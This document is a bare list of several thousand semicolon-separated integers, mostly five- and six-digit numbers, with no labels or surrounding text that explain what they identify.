87561;93136;53895;14790;56803;66606;39087;57232;39791;26352;34143;78528;76137;63044;84836;41117;200078;101992;46613;102398;34861;11583;30386;20857;64557;83105;82798;91249;23427;71014;62675;31621;40093;38927;19064;38566;46947;87667;53262;39295;75677;65625;43449;33333;24425;94107;36984;106794;97816;85935;97235;39646;82073;25393;71198;85707;100822;84377;49945;12962;45223;48362;58925;11627;36953;106237;101181;32867;28777;97540;63768;38737;60810;102488;53363;11041;50379;17710;18913;20188;91939;19024;79462;67414;100709;99923;20992;60060;73284;73021;15073;34540;86139;29363;61221;104443;85690;90433;67735;57631;81718;105289;71447;63231;75467;99627;76693;56967;43808;93317;55220;13400;83736;60441;100388;14770;25184;99196;42611;30973;75778;67686;40593;54114;58800;91469;100698;38083;55224;49206;100692;59337;22709;44598;71267;37906;92687;52326;18577;14726;12882;79037;36472;19645;51293;37267;13824;12083;18498;10436;21476;91450;85337;16440;58276;73851;89996;34367;49037;23651;14253;50498;73315;55274;85761;85179;103958;65205;37751;62019;22397;69118;88584;73265;53457;60083;81118;52669;21591;52206;17726;52399;45580;50648;28224;86695;97123;79413;31432;56388;103933;85899;94193;59371;52132;64064;100029;65706;25513;26678;72648;24767;88595;30772;29785;24217;40842;30125;26251;19686;54507;73846;66998;49406;32493;87692;10736;12842;66126;78153;53689;26726;86430;52409;17216;59636;95293;50040;41444;63470;92860;80009;66743;55719;90010;85151;85491;83219;85913;44441;13480;80819;66460;42156;18326;88046;77069;67915;40638;85030;100988;60267;91722;43370;46386;84586;100046;40966;36803;63734;60888;17615;11656;73244;105757;66581;33827;67028;12698;93194;76066;56851;46720;106535;37944;87655;25984;85035;68604;64253;94199;103435;66775;104450;29347;75221;41290;83985;22718;105075;49422;48273;20097;31242;94249;24907;29224;61829;66271;74186;94668;60102;10053;88496;51017;40066;91275;45610;17284;70549;106433;92455;95052;92530;25370;79452;46504;74678;90393;21641;12797;36162;14487;22519;28833;27209;26090;41325;36260;54451;74355;19380;43817;77366;18629;45956;72778;16345;30795;39928;49740;20319;101175;41740;41256;41619;39569;41780;106776;75553;35823;40330;13338;90909;28442;14027;19668;18767;64239;54925;101383;94308;60526;84698;71010;57783;80253;68176;105178;47046;42929;63323;57837;12533;62501;71831;72352;93070;10475;50921;73408;77761;96315;18003;62166;82661;62403;13343;60879;64384;60029;13225;71708;35604;85354;12519;42596;101290;71534;24600;67348;37147;73213;35172;81036;48803;24851;92928;89194;60006;13336;92130;43903;103167;15444;26119;61503;105990;37675;76172;50761;38553;68954;75541;47873;82362;41282;75247;10444;17528;61566;88853;60139;53919;72810;62584;84171;65854;33535;32933;83480;106343;73395;68056;56889;25096;49177;70970;13384;95583;63933;15973;76480;64296;97944;43929;104041;105139;28397;11981;73680;32164;67719;79259;12959;94014;71147;51783;62116;58332;31410;20009;42323;80197;12989;102321;87810;96398;34872;79304;101610;19509;41548;42112;32695;27206;200140;15158;69103;67113;106286;32886;30121;13199;86625;74063;20776;104989;22137;66649;75793;35623;84297;102738;84420;26872;18400;42846;42531;25705;63854;87726;88770;42496;65610;10415;74737;66266;51795;41100;81318;19608;67571;90984;17619;30724;74630;13897;12527;80063;49819;49980;52902;99507;106298;59093;80070;25274;94203;46393;70845;85104;77474;36493;12598;61000;14210;52797;64248;77696;82722;36810;51838;47142;45094;54088;23085;35617;92738;80835;64477;82809;103925;67129;31467;59135;33441;91271;57768;15806;25732;12961;53247;57798;29795;76235;99448;90654;52199;40469;84318;76275;22151;19046;25699;46285;68517;61886;39289;23839;103418;24783;69140;49486;35880;44055;42140;90386;56682;11037;19740;89997;50886;19297;19829;92752;79397;86400;94291;101514;91466;87074;84233;87398;68853;62006;102204;99221;103419;54583;63127;35220;49218;44490;36961;92084;82147;66640;103655;45384;23577;23495;76975;61813;99244;38135;12895;103250;62476;81070;16196;19325;15842;20343;73202;40108;79326;51875;66071;90876;87037;19989;40668;12530;55290;40587;77789;54703;54449;86341;57282;19728;18455;96355;76571;77145;86508;79154;50302;100289;24955;50340;19742;35431;58266;13656;35853;97660;84867;66366;39860;28867;15979;96948;20975;17393;34462;49845;36819;97675;93741;77795;93137;89182;69586;51244;61731;70679;89042;25374;60665;44780;15442;45504;83625;63428;19811;38092;24520;70303;45003;91308;92483;18554;52794;45796;22948;80146;86504;44250;103770;91101;13513;73676;69599;61101;22624;82477;32238;10982;18287;87822;22787;51041;11289;29507;66312;36893;69820;86055;51817;70167;55550;25110;34452;77606;55636;77205;39738;63835;19239;73706;17826;78230;90198;20901;19584;104202;104040;89560;34281;38247;93217;81742;39491;64036;78786;91824;36390;103817;52288;75839;40722;25514;54657;46004;65866;68769;29330;83080;32560;101462;69187;38932;52447;70663;22713;74086;95507;71206;106748;25711;54792;23356;81641;34221;96376;25836;99541;96835;66931;65855;14939;63816;79481;44317;84700;38450;80210;101864;38769;69491;34888;27465;23357;87208;18230;18911;74437;92847;17097;102742;72268;12353;35189;101876;63746;49753;46206;22144;32341;11368;40235;19026;95305;54407;42591;104283;93734;65321;36130;37717;19537;44550;14886;99947;36088;44227;82027;16146;36392;14667;90605;55871;37903;77049;75991;96311;16418;83121;52444;46370;21271;68000;26731;66204;100361;21208;68189;82030;91312;76356;51282;26186;21148;101124;85284;29944;22793;45254;106820;33478;89271;99383;52350;13166;10533;56596;34445;44867;76070;60866;60828;95756;106389;86733;50178;54130;31091;45412;55936;16423;48929;71173;41661;82099;31913;107055;63430;51796;68859;100695;29449;67513;56380;45785;35459;86186;12450;15635;31174;33666;105250;200062;99313;38619;102560;33471;30822;77364;36703;40313;97738;96168;80480;34441;41482;37948;80011;16338;31229;41283;57977;41355;93610;56811;32845;59913;68225;71161;65009;25193;44202;59619;17693;13268;53374;103477;48678;12671;11841;94606;10164;38113;102280;29896;64907;58082;84504;104302;38547;56456;86935;88477;16535;54788;76359;16754;84617;94729;18213;81654;43285;105451;93311;92657;104522;88624;61834;47284;78357;31052;63765;48161;71261;38131;40312;42622;95563;86763;56441;85226;17359;25830;16985;105125;46155;71932;81484;76576;62693;60464;16810;55878;10316;94351;19713;25046;86897;60323;25797;21203;52216;74204;16397;32815;42778;62715;104921;93302;17217;95738;76394;52193;35686;49277;32882;43297;43525;34031;24492;32480;13963;39570;92740;42269;73841;18682;97691;57451;69854;10351;103235;28309;66706;74867;29357;84599;89084;74100;92392;80321;39789;75919;34057;19267;85222;48661;27397;70614;90122;71237;17712;10115;49682;23180;11346;84073;42095;51558;37366;86269;74628;10804;19819;19807;70933;37953;41872;93470;71424;26418;79099;86724;12382;20296;52832;47081;65794;72584;59150;21266;78450;83811;75302;97763;59693;65488;39701;35883;70632;62713;43970;96669;80128;75717;74345;69890;92411;95785;97843;15809;48476;19498;35096;30217;45913;103930;38786;11652;83624;58653;18339;15282;99517;102438;25521;24591;91145;92536;95901;72591;76957;18530;89545;31687;61138;51992;85163;76662;64739;34950;84236;96139;67594;106112;85821;85634;41626;95317;80598;72267;21828;65805;81500;59658;73336;52412;72794;84334;25076;27831;27819;93663;101373;77027;92732;54199;64352;63412;95743;89213;91328;72747;59069;71142;59821;38580;73842;20528;60149;48968;23962;16564;101209;75734;32159;52879;10631;26688;41794;74361;73398;102836;103935;41020;14198;49724;90301;10646;34286;19155;84909;44254;67157;65665;14801;45170;97251;34138;33748;32064;68387;58001;86728;88864;74887;27544;25676;33188;99120;75514;23287;49125;52751;76178;24642;85946;10042;26781;37595;96338;83563;26701;43225;79385;55746;72793;56847;49717;43234;72685;94942;36581;31389;72226;63504;22862;70454;35055;49288;32729;94097;21077;44578;56580;40790;46645;11181;100396;11793;41029;12372;20339;68450;48717;32278;88708;25344;75593;62995;77216;68443;53214;61136;63994;74682;45997;102894;104998;99599;57055;42921;27624;74287;48489;64106;66091;23954;81481;60366;18128;18467;77685;72477;25463;91518;69718;71139;58098;11524;81922;96259;60820;28291;43168;102691;54710;81248;21448;92728;10761;80177;57321;54911;19956;18510;70235;103855;14383;10644;46539;88896;82808;104434;94247;32158;41333;60832;11759;57766;90873;51203;50269;80275;81420;45404;102624;101029;103109;19684;33714;44930;63067;104029;71949;59426;91745;59143;15728;99320;33591;42147;102990;106428;48401;25613;14288;92551;49404;54874;62005;65369;18172;82685;62944;97638;36002;80975;45964;66130;53337;21759;51529;86487;15182;14971;96907;67244;30213;82079;37109;58933;33598;64431;64378;91371;24231;41763;51958;16743;29093;37965;83516;93376;102758;62187;75435;15551;13867;47504;106137;30205;24939;17571;84130;49614;94476;75568;61132;49797;84579;64968;19252;67793;64376;79367;65755;100894;37654;54761;52817;33286;82964;74403;96215;26545;59199;25234;48659;33076;21895;46533;46896;85497;77443;86702;68587;89812;106218;66108;101602;34878;31470;32750;34373;27116;17536;33675;56214;45397;10208;85365;62189;57983;76228;82394;46428;69332;39001;62010;104154;51170;22626;103375;12749;24883;52583;25155;69048;15908;101854;62695;102869;51294;78678;35371;105786;57649;83204;38239;43668;22004;18303;13934;54847;87825;66522;100799;94780;34677;93676;101596;10510;58427;61334;34592;35841;91718;44408;92799;69365;15046;59554;17766;22343;61247;100810;15281;73501;85534;50879;33257;51178;92364;105379;43532;29110;100365;100200;83591;17838;18822;19732;39721;64798;102655;47384;41569;86306;101140;76336;27523;104531;29727;55236;20969;90195;36087;26383;89268;20347;23178;57012;97639;59700;13699;25174;85225;26807;35329;40215;41144;73872;81664;105809;104398;20161;18253;16764;78662;43953;94096;85771;96931;75254;70965;21444;35058;71757;49362;75872;63587;34013;29571;94642;32022;72640;49105;54311;19426;59497;35021;86333;63275;42029;56463;29674;31859;55453;23104;33641;31256;71950;11692;60993;47536;40909;99402;59119;70012;18259;78118;64809;90359;83743;53358;25194;76207;25350;104228;28588;104857;92717;59735;14467;65026;61325;20722;57343;97982;57707;14679;95823;64377;26632;89546;61436;27297;88537;100285;18964;15500;63971;48353;200144;83225;35180;96988;97596;55326;106831;56289;52470;68196;30721;55073;68721;53790;43147;45186;25328;84494;17322;25442;79306;65204;69231;43704;69399;38830;103658;56924;42402;12958;56001;26825;76299;103823;83593;38669;71778;51121;69314;51014;22230;60824;49451;27235;80108;105549;73197;79928;34133;52331;49659;36192;91163;38625;37248;55933;85126;31794;11537;10136;85134;30430;106777;27948;12758;69903;71427;100382;49571;44667;105695;102102;61820;12805;19346;97086;57739;23360;66403;21256;84345;77080;13002;55645;46931;90913;45777;67964;97503;15066;100124;100059;90033;63997;64669;26497;102896;79393;29399;55818;24171;29706;44649;45096;87791;83319;95696;53957;30546;53690;67512;36046;35492;99290;101305;86325;15755;102669;60854;81728;29299;31884;32520;83413;41559;78146;38289;68605;38828;13738;94947;13930;30993;68726;73057;52722;84415;43648;37576;53332;39106;64527;75404;66534;43038;67302;34654;51528;32265;51069;34164;52672;81008;67051;71466;58076;37292;65201;87730;75255;17311;104691;37640;24576;17538;74282;67160;23009;75349;87426;58869;77835;91428;78932;15738;93278;77980;81010;10137;49188;97454;66362;63556;69078;94190;49318;88858;44240;87592;18185;17497;85925;68834;91815;46329;103867;102029;42692;101474;78148;104826;47300;22617;60047;51597;96945;92918;200071;92195;67611;104764;71347;87466;93239;38250;60710;29881;75672;20230;70917;86115;88434;54712;60814;95019;69084;33969;45553;53334;68489;90972;36867;16414;81302;55454;52765;56738;42150;85277;92490;15480;44904;80299;74775;15808;46984;103298;44616;67167;99069;96675;34992;72475;25169;100415;21908;106955;44044;82501;60138;65652;99154;88021;19180;92086;32198;10833;70369;17733;61108;80800;83363;11143;15038;39031;66426;49946;16675;19428;51606;101972;84481;91576;17241;32522;19275;100476;29467;89817;87118;26642;66625;90622;52122;42865;91529;100193;20786;44241;47626;69213;59496;23924;86462;24772;43165;30991;72697;81561;46629;29559;14947;87570;99347;106919;104215;89902;103085;12433;33011;14282;101720;95943;30567;37498;64167;40256;77769;103471;14410;53729;67670;69212;16357;85458;27494;11880;104976;30611;66413;67565;69408;76771;65742;59482;58919;84265;101961;48643;11305;103861;30285;53399;74417;18417;91941;72208;69003;37926;17660;72098;24322;92224;52044;54644;36257;96163;47310;30080;75798;96507;54958;22652;13641;63698;65563;81663;29102;104924;51510;66923;49657;47332;55526;100513;19322;28957;56393;29396;101023;84605;106163;17019;54409;53586;58953;81785;32375;53096;46713;56094;61890;43148;33417;31337;16010;81344;35216;56698;68559;83212;35097;45935;91318;17973;77989;10199;79590;52324;34016;84545;90001;17720;40761;71478;69254;59019;57291;37177;103668;105410;41401;93799;86525;16698;66211;40971;23964;61751;24493;53303;52640;52970;102988;65199;66497;70198;65887;96661;96806;48679;37027;88629;51975;21288;82553;52716;43579;50460;83085;84858;33541;52993;85380;46198;15127;20539;50987;75973;92936;11402;85407;58974;77431;90600;105018;69217;35465;102920;46555;12455;106321;93718;34237;100245;36580;83537;22365;71701;105332;104754;60505;17492;96167;96336;59040;101067;36335;68835;24192;99772;90115;19766;18962;38600;63164;96944;65767;65621;87642;40120;19784;32029;52768;106739;86067;17488;59677;81469;72081;37760;72424;96334;61284;94815;59391;79727;57108;45399;81844;12423;81132;78861;13321;14442;100349;42799;39485;20470;16558;82223;38536;104297;38959;40210;68577;42875;31993;43329;13686;30628;44092;38850;77776;54377;30645;93156;83311;13266;60185;90452;104271;78555;22211;42079;87522;25316;16962;25495;52250;21081;84095;31181;64972;106347;44376;80725;45379;102335;49137;35965;11240;41044;48400;53462;91323;41570;32209;40954;76978;18156;56378;60953;89956;13653;103970;11575;22579;84341;13133;33586;82601;41490;42443;72535;75209;97529;79219;97394;32083;66070;27160;31963;79085;99485;91168;23249;66929;87350;105148;87218;16999;72376;87182;36761;48345;69987;46891;20726;82401;49411;46599;55898;33165;71665;61528;20614;23094;68895;31144;53896;59236;67367;26050;38680;83780;74789;58886;33750;21945;58189;59324;28237;17622;67059;25173;41101;97926;32569;18513;59413;53075;106166;89775;62778;33727;33964;90620;84540;76478;93688;20521;14805;14985;43571;79456;31447;31005;104884;105275;101738;27926;20109;38381;87433;55336;43921;104140;95994;73782;103389;46490;49831;66407;73369;69410;79003;55365;56643;81887;49099;30692;18831;50457;14730;36673;14170;92080;82431;47669;81416;58347;91694;93866;99537;39695;40460;100756;100310;52364;49457;30735;78785;48885;76175;78010;41414;22508;83600;88860;88926;39659;104573;24415;26592;105368;90298;90102;43045;11654;83964;11997;90677;68500;103647;95301;19692;48447;84896;88418;61463;20616;36142;27037;69466;11258;34059;26889;84897;87494;72533;18810;90392;36429;79725;83257;61193;77626;26783;54495;70692;24122;61883;62007;71050;49295;43642;106595;86175;47254;22569;79450;77371;21317;39311;76891;87762;99167;15298;102764;51227;41814;30705;59307;80561;32261;16199;88080;83518;67475;97577;56761;82807;55145;73227;95893;76707;93201;60181;36800;32863;69803;96943;34587;104358;21006;52266;52108;30149;103393;94864;68267;93433;102273;51462;86931;33140;56948;61266;44098;39080;29547;90240;66989;38479;18066;39309;83507;51055;91686;100032;26714;38882;38491;48782;30403;87067;99726;27389;97366;12002;41934;31813;79859;54123;45549;45383;66550;43609;73340;76735;40784;42299;78086;32760;33809;24972;57773;13719;16485;45268;83596;65791;63266;20198;44569;100964;87168;33265;82869;19548;31714;101008;106568;74228;33678;36098;84878;83548;73022;38617;87964;84081;16859;82820;77765;37968;87797;74919;43000;63523;82132;90018;89385;41991;82287;51095;34846;61462;74223;34901;78418;19055;34287;85267;59753;104104;43103;17303;60373;15633;102901;60489;46197;42818;52095;99710;75578;70944;99405;76718;54045;45079;27420;67672;58630;66574;101553;49016;36604;34735;63704;97850;84496;42960;59414;87648;13655;66326;15742;96913;72719;79064;31303;97025;75951;49471;63731;89725;26629;93750;51549;40652;87476;52974;54172;18793;52502;96035;96046;37397;83386;39507;88998;51607;100644;33255;64153;80824;78169;47858;20621;73690;47121;48944;74510;34521;37984;72946;61693;16785;36617;34734;66655;71752;91860;99832;55094;20999;27779;50904;76889;57903;61630;93100;60692;101385;67676;28604;95726;23973;79476;74512;46385;28930;62358;37643;48374;88723;70869;47120;70391;90553;74386;54013;105586;35273;33685;69372;38761;22507;95768;99201;50143;46844;87680;13887;19194;70768;54515;54343;94706;92931;103422;15386;49328;95965;49586;30951;84237;49577;83371;90562;26196;16119;49537;89108;83986;90603;15163;93122;77527;83665;18824;70070;10954;93083;80392;90886;53762;39999;83808;35799;76323;60907;77603;34531;73569;30108;24871;27888;48480;69871;85472;25713;72366;29533;55111;39244;30408;35023;90286;89300;19652;63349;17220;66639;58309;46755;15365;69591;100973;40677;66698;42467;10550;92813;28105;75087;74785;93787;95552;106010;96537;91273;46722;42050;27512;95876;102234;23346;78526;87538;57301;47749;29178;74447;51896;100330;61884;65924;106234;20778;32504;63353;84363;52535;14556;15331;56459;25260;35602;41495;24333;87949;105225;58669;95997;15205;33601;89719;99972;100401;10097;84069;77304;91642;77944;12769;90432;103803;82490;39328;106815;22798;78283;20015;70508;50984;45360;25552;32402;93348;88052;23338;24358;25225;37928;79930;56868;61093;76496;17364;77512;10807;95625;73901;90796;104449;94523;92454;23787;84804;39050;59225;106487;36060;32769;70991;51292;11021;24709;65624;43665;51236;96482;12782;79247;43313;24130;94666;104979;105622;103964;16839;42736;28047;62819;77477;25966;65227;19599;33032;82044;77529;105648;40643;104590;90013;94892;73657;23923;42239;92589;105604;67474;86577;75373;69898;70932;18990;41716;35127;72875;74284;10783;23969;77365;52666;86165;102101;47629;107012;92240;69099;29892;26892;14847;66372;57877;65698;68318;79783;19033;66683;32515;90316;59376;53038;42801;48317;24934;53116;50928;48395;27800;47897;28570;64450;96664;17805;36505;89850;69260;38411;18894;33577;36049;40261;51906;90653;59664;59338;89721;37195;97144;89010;96848;16968;53613;69755;89158;69584;56827;53394;90249;49340;88655;37535;68917;100877;63269;40437;90180;19676;94779;46668;81260;70775;38079;55045;54074;23171;101196;68249;66374;68341;61139;26520;95443;100617;52850;55608;48244;68096;99596;10200;103158;74451;32620;66477;29062;40037;100943;82175;69567;28643;61308;26089;36172;22605;46751;94538;61558;48148;100393;96686;31759;38988;99924;14795;34529;94648;86740;50837;47110;99554;54441;72925;36165;46907;29986;41217;37792;25730;102351;62108;85341;26291;99758;95391;76284;36892;69283;20426;42149;106281;85471;41417;23614;93978;87432;51144;42567;95806;47326;72718;70579;52549;93052;64243;100921;49589;22381;15410;70661;47200;46624;39228;86970;67856;15614;75416;53347;92810;14820;81531;45084;99491;51213;103001;82631;85939;61353;99124;37706;21869;34218;88488;15151;32271;57854;16116;56208;68845;15810;88075;24778;81091;48577;28634;61140;82567;102871;46395;83470;82780;54478;28147;25398;22899;20829;27398;48272;19185;71775;67042;45282;73871;39623;43555;87092;71410;70328;105615;27920;24971;77990;62033;48793;32643;35282;39938;84727;43356;52383;102478;39078;72975;30960;51149;85071;70113;26871;101663;42159;77786;64413;37552;52929;27117;78711;30827;81369;104163;56608;64229;13445;91552;48765;200053;67508;77775;58373;15237;77469;102741;36381;101306;41316;75119;35353;48758;100524;85245;17686;77355;85751;105190;19045;38803;92850;13735;14000;32537;105777;17832;100283;14846;16403;87956;20950;23265;87335;101712;74046;39790;90278;83478;19565;72326;29310;19612;87974;58838;107072;91826;90701;70372;39672;34595;43390;91231;16108;20952;51831;35080;25163;60717;104865;71441;88107;100881;66039;45916;29677;101727;22467;100157;81139;11277;64870;67438;11125;68880;38102;30740;40657;39326;19019;91358;71666;12586;35838;99809;103699;60418;73302;104689;89737;58643;29442;92577;70425;54180;106111;33491;45236;97742;84823;97680;90519;13630;87157;22919;26091;82926;66156;76987;73461;53522;62710;105901;99390;73312;82824;60698;59362;47175;41527;49868;20809;22057;23955;72190;66444;55938;96965;27687;53620;87505;25021;47375;62619;71335;15494;92708;33244;91344;43462;82053;69307;39930;13675;85014;39296;63154;39144;57175;85635;82799;40596;81517;54648;50434;200101;68992;14305;73624;44971;94778;53137;29325;104481;82396;37218;18022;105646;103383;97813;97233;92077;19236;37638;70290;17800;96892;96257;81417;52345;33473;85723;18194;81853;20437;101930;96921;75624;11629;14279;89557;75966;84631;68470;51324;18235;33634;38872;50057;82049;64434;32495;13945;65231;69766;45899;56668;97153;55972;39932;71813;72035;19364;36643;86580;102307;71732;25827;89813;47322;62267;77422;93709;13910;22138;36923;44331;15570;92095;18409;55496;44008;105876;78122;105411;96140;30084;30915;89358;55068;53232;102565;27610;57852;10542;73712;43916;41691;105478;27376;88871;15671;54302;28979;33163;64684;24559;73121;15875;90095;46188;11430;53571;80890;96503;48484;59012;45714;102781;38069;44653;10744;79961;103877;85878;42235;16852;75835;39488;96377;35648;12437;67795;22076;79416;28033;38856;105291;11650;40760;16020;85914;11544;38204;24655;78244;64513;46560;35544;60592;76291;63373;100064;10731;104111;25221;32014;93633;49852;61180;57528;54128;11246;65837;100479;42189;75749;59163;19714;75099;92964;22520;77943;81408;36325;33921;69942;37945;64545;45275;33328;64436;42258;99560;100693;53255;12480;88942;76969;88142;12394;79320;74950;72056;40069;59406;76199;26290;30102;80408;64762;16605;63208;23557;53856;85432;60088;49857;66755;106148;55759;52041;53809;46235;56057;106110;100266;12779;99757;96280;78329;60238;81478;24690;56085;14815;19365;81275;50920;61991;20176;60481;91068;45981;30270;24422;68051;75189;100654;63109;75428;67857;91871;23956;97685;45514;104762;95349;105636;76340;103866;81777;36918;33674;20835;49635;80021;71761;90638;33923;45482;68565;101363;36448;62564;23143;65051;42781;10882;36135;78387;69076;46997;51626;105644;100306;29343;52897;41700;24376;72709;38639;70941;10127;94917;105518;61941;78766;62002;39987;102707;91379;79844;72593;12713;76152;78408;71626;80582;86181;102761;52566;56678;97746;29544;63929;96799;93901;29036;25573;49642;66772;79669;12076;104141;31027;39377;103913;74387;17639;12705;62042;63561;60154;40493;35290;24154;93786;57985;67629;76919;22221;79454;83937;29196;48440;75558;21770;100198;89227;67246;30586;97228;56611;35448;40726;62614;64830;30741;93950;31346;16722;53421;69508;65150;88947;31548;19760;17724;59568;45720;74784;84946;93228;29273;87969;58366;52733;47498;42728;44266;20680;80430;19184;80896;36971;43357;50861;86385;77928;47459;97085;52602;71423;38413;41643;15609;51956;44831;57574;55093;13150;57253;42305;100432;62437;32026;75015;51436;14141;90213;100769;88168;36407;99497;69111;104891;80273;92880;59437;52853;24384;29004;18806;69125;83203;33844;29301;69201;55426;19415;87876;76620;39513;74836;56418;102220;53813;28130;18344;70807;48987;90905;25186;106466;11213;43621;96549;26490;46193;44370;39434;59410;17373;104544;77633;24423;96795;24607;21110;106946;104523;86472;40911;59500;17675;87159;30834;71567;18395;65517;10532;102464;63359;56129;41319;23361;23263;31639;15851;24959;106392;47233;13550;84555;44407;22796;71071;90330;60186;37684;71906;78438;82209;13296;42871;12539;103631;103721;19150;74368;38202;70539;24215;10111;32568;91044;46696;60374;21406;55153;93483;11938;48463;71747;46348;75095;58703;102546;92017;43821;88133;53300;77180;18436;65721;40585;70513;58161;55563;87548;68129;99295;30319;73287;103220;62228;28653;38182;16940;18252;81528;26924;60096;60405;53870;30802;75600;68377;82845;23302;24571;34786;77155;81805;86796;29378;32877;81241;55671;105601;90373;104737;87754;22094;38063;60127;26580;80422;16409;74333;43659;11380;85908;84991;71007;31139;64642;88835;90686;35136;97905;86900;65589;56464;82774;35179;56704;46830;31518;32231;59316;64706;23951;11086;29876;67460;107010;39274;74819;12046;72051;86015;57525;41837;43813;101420;104715;41562;107049;68918;89046;17595;102930;77914;50393;30612;55414;83853;42353;43042;70324;71960;90413;85440;33035;34070;19443;88908;79799;57804;82946;38433;42006;36557;70818;65784;47541;55784;75679;68601;91522;51447;61605;55906;74390;58403;83848;24504;62052;99601;29722;32655;28008;69073;26431;96093;35992;94585;32684;104566;46287;24162;12963;200095;82955;80973;12116;99324;33740;13871;34794;61163;48200;78224;94682;60196;90812;62532;95770;75362;16505;96955;53828;19666;16470;23250;58398;62337;19552;43314;72104;38339;16059;77808;57457;85215;53224;42576;73306;49144;94746;21273;88399;83396;56302;99998;83148;22803;22894;59578;44684;24814;11163;11636;30839;27280;36559;19422;99206;39077;41041;91868;66986;53193;37275;100632;32134;102344;76618;12617;13363;12658;81127;71041;16862;16584;82898;56880;107079;104742;56183;97822;50394;12935;15794;62736;96851;80278;44380;95586;88911;83446;17566;102277;57538;12111;101236;34077;40789;78065;89849;23838;49272;18989;101138;53266;16370;61954;19589;12631;64568;44438;61666;90094;79665;20464;64415;68564;38488;55100;87811;76927;16255;82734;33099;21357;94851;79741;83592;12810;18389;92480;101742;38001;50856;87003;88660;48422;15679;44482;29329;55847;94213;47469;70270;73792;61228;72882;79412;46902;14665;84307;93203;200032;95539;94676;71282;79223;101898;75439;53712;55812;45767;47641;34591;29476;50880;81497;46803;74808;58701;61441;42664;86078;79764;48586;28468;73063;28964;91979;59998;83345;103980;14038;44889;79745;19949;106421;11754;61576;32430;31965;80505;83872;67426;50425;69743;78714;35005;75671;51938;33546;19644;79446;36935;68614;93865;30450;96418;34624;23106;66533;27526;54279;104404;32269;29588;64214;78758;103974;20488;32136;22991;57280;26831;75501;80948;77514;20241;69066;72154;105328;10526;84054;60200;76577;13102;71690;30874;79437;65091;76395;79878;53470;53316;15219;67422;33863;26213;17291;67489;103387;96279;71091;38775;87440;91634;52367;57185;44053;19741;54464;81783;62361;65024;80342;100908;72201;75143;27981;87512;26970;93802;74883;94880;86486;87663;76763;30300;26779;50075;100706;99234;34513;26720;90378;55568;99033;64654;62396;27436;83673;94243;25824;41118;26747;92731;28597;31320;82335;49062;15269;31526;28476;91793;53269;39548;84343;78476;57945;76533;80484;106006;80483;17756;20421;27472;85332;71077;41851;14264;79265;35906;20311;38412;16276;12602;54889;39526;90613;66201;18673;15236;25298;49467;101006;102539;16871;42755;38354;72022;100685;13317;32259;101519;10863;57751;19173;54945;49751;66511;53821;50341;22517;106156;90440;20005;89821;12628;34378;59043;90444;26464;62597;58196;36459;73640;83216;47837;42826;89666;81313;72948;92090;29218;74239;14927;48514;105119;42730;63914;79971;30911;78668;91251;61385;20409;81673;82151;34993;28344;103977;86358;51556;33943;17413;86955;76610;52464;47491;43033;106654;23487;95402;31598;34995;46576;40102;76723;13255;55122;35251;82348;40899;50557;49548;64937;90616;76231;31345;10966;81867;29992;63258;52947;61754;78008;76061;106958;101488;31606;104845;74238;82191;44905;80736;100048;53480;23983;60984;50124;71196;20684;19179;84656;15185;88063;105213;74230;44865;17783;102268;45871;53675;66441;74015;40847;12720;81020;41155;60212;103532;90911;55947;10823;97291;24944;53306;44285;94112;83994;60308;26536;85920;43181;34795;37300;65184;18435;34895;70283;15121;37129;11874;19348;78457;77894;14990;74842;82972;34882;94898;68417;47648;35777;41689;13895;23185;60657;21237;102104;83519;83760;41384;72686;30819;103007;24707;33372;79514;55141;22241;83797;105817;92614;36712;29409;83791;104786;74279;18787;44754;99931;81674;105270;23198;10394;84539;66831;91112;10573;60004;51145;30803;18943;91199;53753;59330;42966;74777;70859;15063;40191;64970;61523;50770;99052;76216;91825;33370;78026;67189;93705;13953;57551;90518;96021;91846;101328;19245;102635;39329;19857;65096;69837;29519;64360;51407;27004;12826;24950;94822;63447;58573;49704;80814;97487;106263;86229;73088;105240;33950;48580;106585;105348;106892;77819;91254;102574;70473;89126;44121;58737;39784;64679;42933;68739;91772;19061;69202;99131;25252;74432;57847;60358;40688;36041;54201;75533;40486;101645;11657;59848;68885;77995;64021;95255;42287;71768;61993;33488;15087;43860;80601;73730;27024;60887;100152;71727;101336;69697;61171;86669;38962;38539;82453;57911;29444;92748;24804;101736;91392;86351;89753;102559;100711;46744;74048;70151;24036;55251;64900;59861;90807;43438;32598;93673;57923;28616;87676;26585;71359;106435;87042;86481;38443;35690;70076;29145;79836;12622;12854;57946;80545;64720;22306;25985;86233;51257;11989;53067;51618;41191;84752;23734;30321;42065;89504;105202;104365;66610;105592;99218;26221;96302;92730;41561;76528;87981;44973;63464;85911;71854;74325;13782;53136;13247;38423;100834;66128;78598;64672;34226;13700;82640;26391;58823;72006;14389;63674;43554;85324;60761;35520;104759;88699;11447;103464;11045;21966;43249;12351;102978;53043;45861;90273;46149;100605;24741;51625;87571;65044;36610;88121;52728;96278;22505;76419;52921;17585;81780;31917;101889;76239;102633;15576;102440;48982;28624;94386;95811;38529;78826;18189;43971;100244;62021;67163;18360;69853;42564;11247;76120;51262;78922;100800;25292;96493;46819;62209;59281;45272;66409;27272;58926;32253;73887;37461;200130;69089;101814;65305;107073;99979;12468;39726;76741;13941;18429;50175;65088;62484;46034;71952;14026;19210;12787;33908;97821;68543;39136;64835;43140;100237;95759;86237;24443;16369;30064;84346;87526;102199;99207;17052;40282;62927;16435;103540;40008;56066;103665;43433;37342;81579;102783;79762;16778;86129;75889;64017;74558;72175;34758;49468;53976;69360;105519;55463;34839;39639;40196;105554;77117;77638;101734;52873;79474;40461;106733;53955;32682;16840;19437;41664;36598;96439;61632;97965;27499;95444;34753;61656;16473;82648;102981;100462;101737;89299;63332;42876;94413;101257;47405;99281;84930;70962;95438;51768;78471;41827;62111;10226;57922;33108;29101;51745;75939;105111;99950;19217;62984;21755;99256;47700;82040;79834;35106;104350;62379;78214;24058;57510;15004;100446;92673;62348;44388;85712;75026;75245;73933;75801;20461;88728;99673;88717;32755;74856;71042;58302;19136;67667;52152;68580;86576;58485;53285;56435;57481;37283;87257;12383;45065;91288;66219;70377;55214;90680;11608;52559;37536;72601;93823;61837;61254;21023;94111;94268;34379;46126;51685;89345;76870;77833;90531;77376;107114;48466;65320;60793;11535;76398;20858;90341;22664;102806;60434;52587;19875;103331;15216;74975;18342;68069;14249;23474;91807;16830;61203;65728;37913;48275;62316;103937;18220;61662;26692;22598;38515;35099;82181;44647;86347;40727;96007;104714;64045;105383;45682;64315;91520;45945;35524;76594;97662;42906;42125;54016;31282;101148;106374;10719;26624;16517;95498;18335;76861;94756;19070;68972;91759;88175;43074;78997;26557;79698;105459;60856;14996;87886;21602;66733;67304;47317;28239;79995;26666;86860;18924;75907;92778;40696;91090;13318;